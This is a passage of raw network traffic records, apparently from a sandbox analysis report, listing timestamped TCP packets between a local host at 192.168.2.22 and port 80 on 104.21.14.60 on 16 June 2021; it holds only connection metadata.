Jun 16, 2021 12:05:15.093180895 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.093234062 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.093236923 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.093391895 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.094207048 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.094285011 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.094347954 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.095220089 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.121145010 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.121244907 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.121253014 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.121520996 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.121602058 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.121646881 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.122531891 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.122590065 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.122684002 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.123548985 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.123616934 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.124520063 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.124542952 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.124593973 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.124649048 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.125504971 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.125571966 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.125633001 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.126492023 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.126548052 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.126621008 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.126876116 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.127028942 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.127446890 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.127517939 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.127995014 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.128443003 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.128925085 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.129002094 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.129028082 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.129919052 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.129971981 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.130918980 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.130960941 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.131639004 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.131892920 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.131952047 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.132025957 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.132920980 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.132986069 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.133099079 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.133869886 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.133934021 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.134299994 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.134857893 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.134912968 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.135206938 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.135871887 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.135926008 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.136240005 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.136859894 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.136928082 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.137187958 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.137829065 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.137891054 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.138240099 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.138794899 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.138849020 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.139168978 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.139785051 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.139842987 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.139936924 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.143265963 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.143335104 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.143387079 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.143436909 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.143486977 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.143536091 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.143575907 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.164345980 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.164421082 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.164443016 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.164946079 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.165002108 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.165515900 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.165541887 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.165575027 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.165626049 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.167722940 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.167783976 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.167977095 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.168076038 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.168128967 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.168979883 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.169040918 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.169701099 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.169733047 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.169761896 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.170628071 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.170656919 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.170689106 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.173886061 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.173968077 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.174014091 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.174726009 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.174841881 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.174941063 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.177277088 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.177331924 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.177373886 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.177412033 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.177468061 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.177491903 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.177510977 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.177551031 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.177592039 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.178076982 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.178105116 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.178122044 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.178958893 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.188095093 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.188133001 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.188155890 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.188178062 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.188200951 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.188199043 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.188225985 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.188251972 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.188273907 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.188294888 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.188297987 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.188323975 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.188345909 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.188369036 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.188386917 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.188391924 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.188419104 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.188445091 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.188466072 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.188488960 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.188508034 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.188518047 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.188546896 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.188570023 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.188592911 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.188612938 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.188617945 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.188642025 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.188663006 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.188683033 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.188704014 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.188704014 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.188721895 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.188726902 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.188749075 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.189083099 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.189466953 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.189496040 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.189671993 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.190162897 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.190190077 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.190903902 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.190931082 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.190932035 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.191004992 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.191633940 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.191662073 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.192363024 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.192392111 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.193051100 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.193140984 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.193166018 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.193227053 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.193814039 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.193840981 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.193914890 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.194554090 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.194583893 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.195220947 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.195282936 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.195307970 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.195372105 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.196019888 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.196052074 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.196244955 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.196774960 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.196805000 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.196868896 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.197534084 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.197606087 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.197675943 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.198218107 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.198244095 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.198321104 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.198898077 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.199038982 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.199098110 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.199681997 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.199728012 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.200428963 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.200469017 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.200521946 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.200846910 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.200866938 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.201143980 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.201175928 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.201193094 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.201663017 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.202311039 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.202356100 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.202653885 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.202681065 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.202697992 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.203403950 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.203449011 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.203495026 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.203651905 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.204077959 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.204119921 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.204195023 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.204804897 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.204906940 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.205394030 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.205589056 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.205656052 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.205792904 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.206278086 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.206389904 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.207022905 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.207110882 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.207195997 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.207753897 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.207794905 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.207835913 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.208719015 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.208749056 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.208764076 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.208815098 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.210443974 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.213583946 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.213676929 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.213725090 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.213830948 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.214065075 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.214109898 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.214148998 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.214407921 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.214946032 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.214996099 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.215039015 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.215899944 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.215950966 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.215976000 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.216016054 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.216211081 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.216918945 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.216962099 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.217001915 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.217806101 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.217850924 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.217889071 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.218488932 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.218739986 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.218784094 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.218821049 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.219192982 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.219702005 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.219743967 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.219782114 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.220324993 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.220643997 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.220685959 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.220724106 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.221571922 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.221615076 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.221654892 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.221699953 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.222579002 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.222621918 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.222659111 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.222688913 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.223376036 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.223479986 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.223522902 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.223587990 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.224025965 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.224473000 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.224590063 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.224633932 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.224729061 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.225404024 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.225455046 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.225516081 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.225544930 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.226366997 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.226409912 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.226438999 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.226450920 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.226646900 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.227277994 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.227325916 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.227363110 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.227422953 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.228239059 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.228290081 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.228351116 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.228632927 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.230837107 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.230904102 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.230954885 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.231034994 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.231301069 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.231344938 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.231386900 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.232275009 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.232319117 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.232338905 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.232359886 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.233211040 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.233258009 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.233303070 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.234059095 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.234098911 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.234103918 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.234136105 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.234888077 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.234925985 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.234968901 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.235008001 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.235177040 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.235775948 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.235816002 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.235850096 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.236336946 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.236510038 CEST	80	49168	104.21.14.60	192.168.2.22
